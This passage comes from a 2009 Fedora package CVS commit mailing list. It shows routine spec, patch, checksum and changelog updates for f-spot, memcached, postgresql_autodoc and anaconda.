 autoreconf -f -i
@@ -147,6 +139,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
+* Sun Oct 04 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
+- Update to 0.6.1.3 (BZ 526217)
+- Remove two upstreamed patches
+- Use a slightly different fix for the cairo-devel dependency 
+  (suggested by upstream)
+
 * Wed Sep 30 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-3
 - Add patch to fix f-spot crash when using "soft focus" and cairo-devel
   was not installed (BZ 526563)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	17 Sep 2009 19:24:51 -0000	1.23
+++ sources	12 Oct 2009 21:26:33 -0000	1.24
@@ -1 +1 @@
-ca2960be13e3c1d2f15da175691d671a  f-spot-0.6.1.2.tar.bz2
+fbfef5c37c201f54b590f03d5b0000d5  f-spot-0.6.1.3.tar.bz2


--- 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch DELETED ---



From chkr at fedoraproject.org  Mon Oct 12 21:45:47 2009
From: chkr at fedoraproject.org (chkr)
Date: Mon, 12 Oct 2009 21:45:47 +0000 (UTC)
Subject: rpms/f-spot/F-11 0001-remove-support-for-older-cairo-version.patch, 
	NONE, 1.1 .cvsignore, 1.22, 1.23 f-spot.spec, 1.93, 1.94 sources,
	1.22, 1.23 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch,
	1.1, NONE
Message-ID: <20091012214549.841AC11C00DB@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/f-spot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29570

Modified Files:
	.cvsignore f-spot.spec sources 
Added Files:
	0001-remove-support-for-older-cairo-version.patch 
Removed Files:
	0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch 
Log Message:
* Mon Oct 12 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-2
- Update to 0.6.1.3 (BZ 526217)
- Remove two upstreamed patches
- Use a slightly different fix for the cairo-devel dependency
  (suggested by upstream)


0001-remove-support-for-older-cairo-version.patch:
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   21 ++++-----------------
 2 files changed, 6 insertions(+), 18 deletions(-)

--- NEW FILE 0001-remove-support-for-older-cairo-version.patch ---
>From 9c61aa6f334a94f077e63e3b82f1aeaa457dfe8a Mon Sep 17 00:00:00 2001
From: Christian Krause <chkr at plauener.de>
Date: Sun, 4 Oct 2009 20:30:18 +0200
Subject: [PATCH] remove support for older cairo version

- remove DllImport of cairo since it is not needed anymore
- remove special code for older cairo version
- check for cairo >= 1.4.0 in configure.ac
---
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   20 ++++----------------
 2 files changed, 6 insertions(+), 17 deletions(-)

diff --git a/configure.ac b/configure.ac
index 22fcd86..7f82d8b 100644
--- a/configure.ac
+++ b/configure.ac
@@ -69,11 +69,12 @@ BEAGLE_REQUIRED=0.3.0
 NDESK_DBUS_REQUIRED=0.4.2
 NDESK_DBUS_GLIB_REQUIRED=0.3.0
 MONO_CAIRO_REQUIRED=1.2.4
+CAIRO_REQUIRED=1.4.0
 dnl -- this check is 	
 LCMS_REQUIRED=1.12
 dnl -- LIBGPHOTO2_REQUIRED=2.1.4
 
-PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED)
+PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED cairo >= $CAIRO_REQUIRED)
 AC_SUBST(F_CFLAGS)
 AC_SUBST(F_LIBS)
 
diff --git a/src/SoftFocus.cs b/src/SoftFocus.cs
index 86f2918..7291d5a 100644
--- a/src/SoftFocus.cs
+++ b/src/SoftFocus.cs
@@ -14,9 +14,6 @@ namespace FSpot.Widgets {
 
 	public class SoftFocus {
 
-		[DllImport ("cairo")]
-		internal static extern int cairo_version ();
-
 		ImageInfo info;
 		double radius;
 		double amount;
@@ -107,20 +104,11 @@ namespace FSpot.Widgets {
 
 			RadialGradient circle;
 
-			// FIXME ugh cairo 1.0.2 is so broken why are we still shipping it.
-			if (cairo_version () > (1 * 10000 + 2 * 100 + 0)) {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
-							     center.X * scale, center.Y * scale, radius * max + max * .2);
-
-				circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			} else {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max + max * .2,
-							     center.X * scale, center.Y * scale, radius * max * .7);
+			circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
+						     center.X * scale, center.Y * scale, radius * max + max * .2);
 
-				circle.AddColorStop (1.0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			}
+			circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
+			circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
 			return circle;
 		}
 
-- 
1.6.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-11/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	20 Sep 2009 20:56:35 -0000	1.22
+++ .cvsignore	12 Oct 2009 21:45:47 -0000	1.23
@@ -1 +1 @@
-f-spot-0.6.1.2.tar.bz2
+f-spot-0.6.1.3.tar.bz2


Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-11/f-spot.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- f-spot.spec	30 Sep 2009 22:39:41 -0000	1.93
+++ f-spot.spec	12 Oct 2009 21:45:47 -0000	1.94
@@ -1,24 +1,18 @@
 Name:           f-spot
-Version:        0.6.1.2
-Release:        3%{?dist}
+Version:        0.6.1.3
+Release:        1%{?dist}
 Summary:        Photo management application
 
 Group:          Applications/Multimedia
 License:        GPLv2+ and LGPLv2+ and CPL and MIT
 URL:            http://f-spot.org/
 Source0:        http://ftp.gnome.org/pub/gnome/sources/f-spot/0.6/f-spot-%{version}.tar.bz2
-# http://bugzilla.gnome.org/show_bug.cgi?id=593243
-Patch1:         0001-fix-parallel-build.patch
 # Use system mono-addins
 Patch2:         0001-use-system-Mono.Addins-if-available.patch
 # unmount cameras before importing
 Patch3:         0002-enhance-the-f-spot-import-script.patch
-# upstream patch to fix crash in facebook exporter:
-# commit 807dab4344ecdadc7e46793369821de8b49692e5
-# commit b87604bc9782bf92f053aaf3ceb739a32f44ea13
-Patch4:         facebook-exporter-duplicate-label-fix.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=596922
-Patch5:         0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch
+Patch5:         0001-remove-support-for-older-cairo-version.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -70,11 +64,9 @@ photo collection in a slideshow as a scr
 %prep
 %setup -q
 
-%patch1 -p1 -b .parallel-build
 %patch2 -p1 -b .link-system-mono-addins
 %patch3 -p1 -b .gvfs-gphoto
-%patch4 -p1 -b .faceboox-exporter-crash
-%patch5 -p1 -b .cairo-fix
+%patch5 -p1 -F 2 -b .cairo-fix
 
 %build
 export MONO_SHARED_DIR=%{_builddir}/%{?buildsubdir}
@@ -147,6 +139,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
+* Mon Oct 12 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-2
+- Update to 0.6.1.3 (BZ 526217)
+- Remove two upstreamed patches
+- Use a slightly different fix for the cairo-devel dependency
+  (suggested by upstream)
+
 * Thu Oct 01 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-3
 - Add patch to fix f-spot crash when using "soft focus" and cairo-devel
   was not installed (BZ 526563)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-11/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	20 Sep 2009 20:56:36 -0000	1.22
+++ sources	12 Oct 2009 21:45:47 -0000	1.23
@@ -1 +1 @@
-ca2960be13e3c1d2f15da175691d671a  f-spot-0.6.1.2.tar.bz2
+fbfef5c37c201f54b590f03d5b0000d5  f-spot-0.6.1.3.tar.bz2


--- 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch DELETED ---



From plindner at fedoraproject.org  Mon Oct 12 22:22:44 2009
From: plindner at fedoraproject.org (Paul Lindner)
Date: Mon, 12 Oct 2009 22:22:44 +0000 (UTC)
Subject: rpms/memcached/devel .cvsignore, 1.8, 1.9 memcached.spec, 1.17,
	1.18 sources, 1.8, 1.9
Message-ID: <20091012222244.DA79011C00DB@cvs1.fedora.phx.redhat.com>

Author: plindner

Update of /cvs/pkgs/rpms/memcached/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4009

Modified Files:
	.cvsignore memcached.spec sources 
Log Message:
Upgrade to memcached-1.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/memcached/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	30 Aug 2009 04:03:16 -0000	1.8
+++ .cvsignore	12 Oct 2009 22:22:43 -0000	1.9
@@ -1 +1 @@
-memcached-1.4.1.tar.gz
+memcached-1.4.2.tar.gz


Index: memcached.spec
===================================================================
RCS file: /cvs/pkgs/rpms/memcached/devel/memcached.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- memcached.spec	30 Aug 2009 04:03:16 -0000	1.17
+++ memcached.spec	12 Oct 2009 22:22:43 -0000	1.18
@@ -6,7 +6,7 @@
 %define groupname  memcached
 
 Name:           memcached
-Version:        1.4.1
+Version:        1.4.2
 Release:        1%{?dist}
 Summary:        High Performance, Distributed Memory Object Cache
 
@@ -187,7 +187,7 @@ fi
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS ChangeLog COPYING NEWS README TODO doc/CONTRIBUTORS doc/*.txt
+%doc AUTHORS ChangeLog COPYING NEWS README doc/CONTRIBUTORS doc/*.txt
 %config(noreplace) %{_sysconfdir}/sysconfig/%{name}
 
 %dir %attr(755,%{username},%{groupname}) %{_localstatedir}/run/memcached
@@ -207,6 +207,10 @@ fi
 %{_includedir}/memcached/*
 
 %changelog
+* Mon Oct 12 2009 Paul Lindner <lindner at inuus.com> - 1.4.2-1
+- Upgrade to memcached-1.4.2
+- Addresses CVE-2009-2415
+
 * Sat Aug 29 2009 Paul Lindner <lindner at inuus.com> - 1.4.1-1
 - Upgrade to 1.4.1 
 - http://code.google.com/p/memcached/wiki/ReleaseNotes141


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/memcached/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	30 Aug 2009 04:03:16 -0000	1.8
+++ sources	12 Oct 2009 22:22:43 -0000	1.9
@@ -1 +1 @@
-fb1b7e9fcf47b95c5ad3bbeb76342088  memcached-1.4.1.tar.gz
+31caa3e74f2714ba49475b1df44bc315  memcached-1.4.2.tar.gz



From devrim at fedoraproject.org  Mon Oct 12 22:43:05 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Mon, 12 Oct 2009 22:43:05 +0000 (UTC)
Subject: rpms/postgresql_autodoc/devel postgresql_autodoc-makefile.patch,
	NONE, 1.1 postgresql_autodoc.spec, 1.6, 1.7
Message-ID: <20091012224305.B6B8E11C00DB@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql_autodoc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10572

Modified Files:
	postgresql_autodoc.spec 
Added Files:
	postgresql_autodoc-makefile.patch 
Log Message:
Update to 1.40, and add a new patch for a clean build.



postgresql_autodoc-makefile.patch:
 Makefile |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE postgresql_autodoc-makefile.patch ---
--- Makefile.old	2009-10-13 01:23:11.000000000 +0300
+++ Makefile	2009-10-13 01:23:15.000000000 +0300
@@ -1,8 +1,6 @@
 # $Header: /cvsroot/autodoc/autodoc/Makefile,v 1.7 2009/05/01 02:31:10 rbt Exp $
 
 # install configuration
-DESTDIR =
-PREFIX = /usr/local
 BINDIR = ${PREFIX}/bin
 DATADIR = ${PREFIX}/share/postgresql_autodoc
 


Index: postgresql_autodoc.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql_autodoc/devel/postgresql_autodoc.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- postgresql_autodoc.spec	30 Jul 2009 20:31:06 -0000	1.6
+++ postgresql_autodoc.spec	12 Oct 2009 22:43:04 -0000	1.7
@@ -6,6 +6,7 @@ Group:		Applications/Databases
 License:	BSD
 URL:		http://www.rbt.ca/autodoc/
 Source0:	http://www.rbt.ca/autodoc/binaries/%{name}-%{version}.tar.gz
+Patch0:		%{name}-makefile.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:	noarch
 
@@ -22,17 +23,17 @@ describes the database.
 
 %prep
 %setup -q -n %{name}
+%patch0 -p0
 
 %build
-make PREFIX=/usr {?_smp_mflags}
+PREFIX=%{_usr} make %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
 install -d %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_docdir}/%{name}
-cp -p postgresql_autodoc %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_datadir}/pgsql/%{name}
-cp -p *.tmpl %{buildroot}/%{_datadir}/pgsql/%{name}
+install -d %{buildroot}/%{_datadir}/?
+install -d %{buildroot}/%{_datadir}/%{name}
+DESTDIR=%{buildroot} PREFIX=%{_usr} make install %{?_smp_mflags}
 
 %clean
 rm -rf %{buildroot}
@@ -40,10 +41,10 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %{_bindir}/%{name}
-%{_datadir}/pgsql/%{name}
+%{_datadir}/%{name}
 
 %changelog
-* Thu Jul 30 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1
+* Tue Oct 13 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1
 - Update to 1.40
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.31-3



From dcantrel at fedoraproject.org  Mon Oct 12 22:43:23 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Mon, 12 Oct 2009 22:43:23 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.678, 1.679 anaconda.spec, 1.828,
	1.829 sources, 1.812, 1.813
Message-ID: <20091012224323.8BC8E11C00DB@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10667

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Mon Oct 12 2009 David Cantrell <dcantrell at redhat.com> - 12.37-1
- Missing volume_key shouldn't break LUKS support completely. (#526899)
  (dlehman)
- Write multipathd.conf in anaconda so that dracut can find it. (pjones)
- Add MultipathDevice.getDMNode(), because .updateSysfsPath() needs it.
  (pjones)
- Add MultipathDevice.updateSysfsPath() (pjones)
- Fix a segfault when stage2= boot parameter and kickstart url method is
  used (#524417). (rvykydal)
- Fix parsing of optional portnr in iscsi target IP (#525118) (hdegoede)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.678
retrieving revision 1.679
diff -u -p -r1.678 -r1.679
--- .cvsignore	10 Oct 2009 01:15:00 -0000	1.678
+++ .cvsignore	12 Oct 2009 22:43:23 -0000	1.679
@@ -1 +1 @@
-anaconda-12.36.tar.bz2
+anaconda-12.37.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.828
retrieving revision 1.829
diff -u -p -r1.828 -r1.829
--- anaconda.spec	10 Oct 2009 01:15:00 -0000	1.828
+++ anaconda.spec	12 Oct 2009 22:43:23 -0000	1.829
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.36
+Version: 12.37
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,6 +215,17 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Mon Oct 12 2009 David Cantrell <dcantrell at redhat.com> - 12.37-1
+- Missing volume_key shouldn't break LUKS support completely. (#526899)
+  (dlehman)
+- Write multipathd.conf in anaconda so that dracut can find it. (pjones)
+- Add MultipathDevice.getDMNode(), because .updateSysfsPath() needs it.
+  (pjones)
+- Add MultipathDevice.updateSysfsPath() (pjones)
+- Fix a segfault when stage2= boot parameter and kickstart url method is
+  used (#524417). (rvykydal)
+- Fix parsing of optional portnr in iscsi target IP (#525118) (hdegoede)
+
 * Fri Oct 09 2009 David Cantrell <dcantrell at redhat.com> - 12.36-1
 - Reset PartitionDevice attributes after failed edit. (#498026) (dlehman)
 - Fix cut/paste error in commit 299519d4a0693330ff6a50f3111d61feefabb0da.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.812
retrieving revision 1.813
diff -u -p -r1.812 -r1.813
--- sources	10 Oct 2009 01:15:00 -0000	1.812
+++ sources	12 Oct 2009 22:43:23 -0000	1.813
@@ -1 +1 @@
-407b562878106292e89f5a9a65a3d36c  anaconda-12.36.tar.bz2
+4b559bf4134368fcaf1f69cdee8df859  anaconda-12.37.tar.bz2



From devrim at fedoraproject.org  Mon Oct 12 22:44:34 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Mon, 12 Oct 2009 22:44:34 +0000 (UTC)
Subject: rpms/postgresql_autodoc/F-12 postgresql_autodoc-makefile.patch, NONE,
	1.1 postgresql_autodoc.spec, 1.6, 1.7
Message-ID: <20091012224434.0F5D011C0265@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql_autodoc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11063

Modified Files:
	postgresql_autodoc.spec 
Added Files:
	postgresql_autodoc-makefile.patch 
Log Message:
Update to 1.40, and add a new patch for a clean build.



postgresql_autodoc-makefile.patch:
 Makefile |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE postgresql_autodoc-makefile.patch ---
--- Makefile.old	2009-10-13 01:23:11.000000000 +0300
+++ Makefile	2009-10-13 01:23:15.000000000 +0300
@@ -1,8 +1,6 @@
 # $Header: /cvsroot/autodoc/autodoc/Makefile,v 1.7 2009/05/01 02:31:10 rbt Exp $
 
 # install configuration
-DESTDIR =
-PREFIX = /usr/local
 BINDIR = ${PREFIX}/bin
 DATADIR = ${PREFIX}/share/postgresql_autodoc
 


Index: postgresql_autodoc.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql_autodoc/F-12/postgresql_autodoc.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- postgresql_autodoc.spec	30 Jul 2009 20:31:06 -0000	1.6
+++ postgresql_autodoc.spec	12 Oct 2009 22:44:33 -0000	1.7
@@ -6,6 +6,7 @@ Group:		Applications/Databases
 License:	BSD
 URL:		http://www.rbt.ca/autodoc/
 Source0:	http://www.rbt.ca/autodoc/binaries/%{name}-%{version}.tar.gz
+Patch0:		%{name}-makefile.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:	noarch
 
@@ -22,17 +23,17 @@ describes the database.
 
 %prep
 %setup -q -n %{name}
+%patch0 -p0
 
 %build
-make PREFIX=/usr {?_smp_mflags}
+PREFIX=%{_usr} make %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
 install -d %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_docdir}/%{name}
-cp -p postgresql_autodoc %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_datadir}/pgsql/%{name}
-cp -p *.tmpl %{buildroot}/%{_datadir}/pgsql/%{name}
+install -d %{buildroot}/%{_datadir}/?
+install -d %{buildroot}/%{_datadir}/%{name}
+DESTDIR=%{buildroot} PREFIX=%{_usr} make install %{?_smp_mflags}
 
 %clean
 rm -rf %{buildroot}
@@ -40,10 +41,10 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %{_bindir}/%{name}
-%{_datadir}/pgsql/%{name}
+%{_datadir}/%{name}
 
 %changelog
-* Thu Jul 30 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1
+* Tue Oct 13 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1
 - Update to 1.40
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.31-3



From devrim at fedoraproject.org  Mon Oct 12 22:47:17 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Mon, 12 Oct 2009 22:47:17 +0000 (UTC)
Subject: rpms/postgresql_autodoc/F-11 postgresql_autodoc-makefile.patch, NONE,
	1.1 postgresql_autodoc.spec, 1.4, 1.5
Message-ID: <20091012224717.8DF8811C00DB@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql_autodoc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11996

Modified Files:
	postgresql_autodoc.spec 
Added Files:
	postgresql_autodoc-makefile.patch 
Log Message:
Update to 1.40, and add a new patch for a clean build.



postgresql_autodoc-makefile.patch:
 Makefile |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE postgresql_autodoc-makefile.patch ---
--- Makefile.old	2009-10-13 01:23:11.000000000 +0300
+++ Makefile	2009-10-13 01:23:15.000000000 +0300
@@ -1,8 +1,6 @@
 # $Header: /cvsroot/autodoc/autodoc/Makefile,v 1.7 2009/05/01 02:31:10 rbt Exp $
 
 # install configuration
-DESTDIR =
-PREFIX = /usr/local
 BINDIR = ${PREFIX}/bin
 DATADIR = ${PREFIX}/share/postgresql_autodoc
 


Index: postgresql_autodoc.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql_autodoc/F-11/postgresql_autodoc.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- postgresql_autodoc.spec	30 Jul 2009 19:35:22 -0000	1.4
+++ postgresql_autodoc.spec	12 Oct 2009 22:47:17 -0000	1.5
@@ -6,6 +6,7 @@ Group:		Applications/Databases
 License:	BSD
 URL:		http://www.rbt.ca/autodoc/
 Source0:	http://www.rbt.ca/autodoc/binaries/%{name}-%{version}.tar.gz
+Patch0:		%{name}-makefile.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:	noarch
 
@@ -22,18 +23,17 @@ describes the database.
 
 %prep
 %setup -q -n %{name}
+%patch0 -p0
 
 %build
-%configure --datadir=%{_datadir}/pgsql
-make %{?_smp_mflags}
+PREFIX=%{_usr} make %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
 install -d %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_docdir}/%{name}
-cp -p postgresql_autodoc %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_datadir}/pgsql/%{name}
-cp -p *.tmpl %{buildroot}/%{_datadir}/pgsql/%{name}
+install -d %{buildroot}/%{_datadir}/?
+install -d %{buildroot}/%{_datadir}/%{name}
+DESTDIR=%{buildroot} PREFIX=%{_usr} make install %{?_smp_mflags}
 
 %clean
 rm -rf %{buildroot}
@@ -41,12 +41,15 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %{_bindir}/%{name}
-%{_datadir}/pgsql/%{name}
+%{_datadir}/%{name}
 
 %changelog
-* Thu Jul 30 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1
+* Tue Oct 13 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1
 - Update to 1.40
 
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.31-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.31-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From devrim at fedoraproject.org  Mon Oct 12 22:48:27 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Mon, 12 Oct 2009 22:48:27 +0000 (UTC)
Subject: rpms/postgresql_autodoc/F-12 postgresql_autodoc.spec,1.7,1.8
Message-ID: <20091012224827.50E4211C00DB@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql_autodoc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12207

Modified Files:
	postgresql_autodoc.spec 
Log Message:
bump up version



Index: postgresql_autodoc.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql_autodoc/F-12/postgresql_autodoc.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- postgresql_autodoc.spec	12 Oct 2009 22:44:33 -0000	1.7
+++ postgresql_autodoc.spec	12 Oct 2009 22:48:27 -0000	1.8
@@ -1,6 +1,6 @@
 Name:		postgresql_autodoc
 Version:	1.40
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	PostgreSQL AutoDoc Utility
 Group:		Applications/Databases
 License:	BSD
@@ -44,7 +44,7 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
-* Tue Oct 13 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1
+* Tue Oct 13 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-2
 - Update to 1.40
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.31-3



From dcantrel at fedoraproject.org  Mon Oct 12 22:58:57 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Mon, 12 Oct 2009 22:58:57 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.678, 1.679 anaconda.spec, 1.828, 
	1.829 sources, 1.812, 1.813
Message-ID: <20091012225858.0494311C00DB@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14421

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Mon Oct 12 2009 David Cantrell <dcantrell at redhat.com> - 13.4-1
- Missing volume_key shouldn't break LUKS support completely. (#526899)
  (dlehman)
- Write multipathd.conf in anaconda so that dracut can find it. (pjones)
- We moved from dialog to newt.. (#528497) (msivak)
- Fix a segfault when stage2= boot parameter and kickstart url method is
  used (#524417). (rvykydal)
- Fix parsing of optional portnr in iscsi target IP (#525118) (hdegoede)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.678
retrieving revision 1.679
diff -u -p -r1.678 -r1.679
--- .cvsignore	10 Oct 2009 01:35:11 -0000	1.678
+++ .cvsignore	12 Oct 2009 22:58:55 -0000	1.679
@@ -1 +1 @@
-anaconda-13.3.tar.bz2
+anaconda-13.4.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.828
retrieving revision 1.829
diff -u -p -r1.828 -r1.829
--- anaconda.spec	10 Oct 2009 01:35:11 -0000	1.828
+++ anaconda.spec	12 Oct 2009 22:58:55 -0000	1.829
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 13.3
+Version: 13.4
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -216,6 +216,15 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Mon Oct 12 2009 David Cantrell <dcantrell at redhat.com> - 13.4-1
